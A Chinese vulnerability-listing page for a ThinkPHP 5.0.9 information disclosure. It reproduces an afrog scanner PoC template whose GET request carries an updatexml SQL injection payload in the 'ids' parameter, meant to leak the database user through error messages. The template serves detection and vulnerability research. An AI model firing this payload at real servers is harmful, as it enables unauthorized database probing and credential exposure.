thinkphp-509-information-disclosure: ThinkPHP 5.0.9 Information Disclosure

日期: 2025-09-01 | 影响软件: ThinkPHP 5.0.9 | POC: 已公开

漏洞描述

Verbose SQL error message reveals sensitive information including database credentials.

PoC代码[已公开]

id: thinkphp-509-information-disclosure

info:
  name: ThinkPHP 5.0.9 Information Disclosure
  author: dr_set
  severity: high
  verified: false
  description: Verbose SQL error message reveals sensitive information including database credentials.
  reference:
    - https://github.com/vulhub/vulhub/tree/0a0bc719f9a9ad5b27854e92bc4dfa17deea25b4/thinkphp/in-sqlinjection

rules:
  r0:
    request:
      method: GET
      path: "/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1"
    expression: response.body.bcontains(b'SQLSTATE') && response.body.bcontains(b'XPATH syntax error')
expression: r0()
来源: https://github.com/zan8in/afrog/blob/main/pocs/afrog-pocs/disclosure/thinkphp-509-information-disclosure.yaml

相关漏洞推荐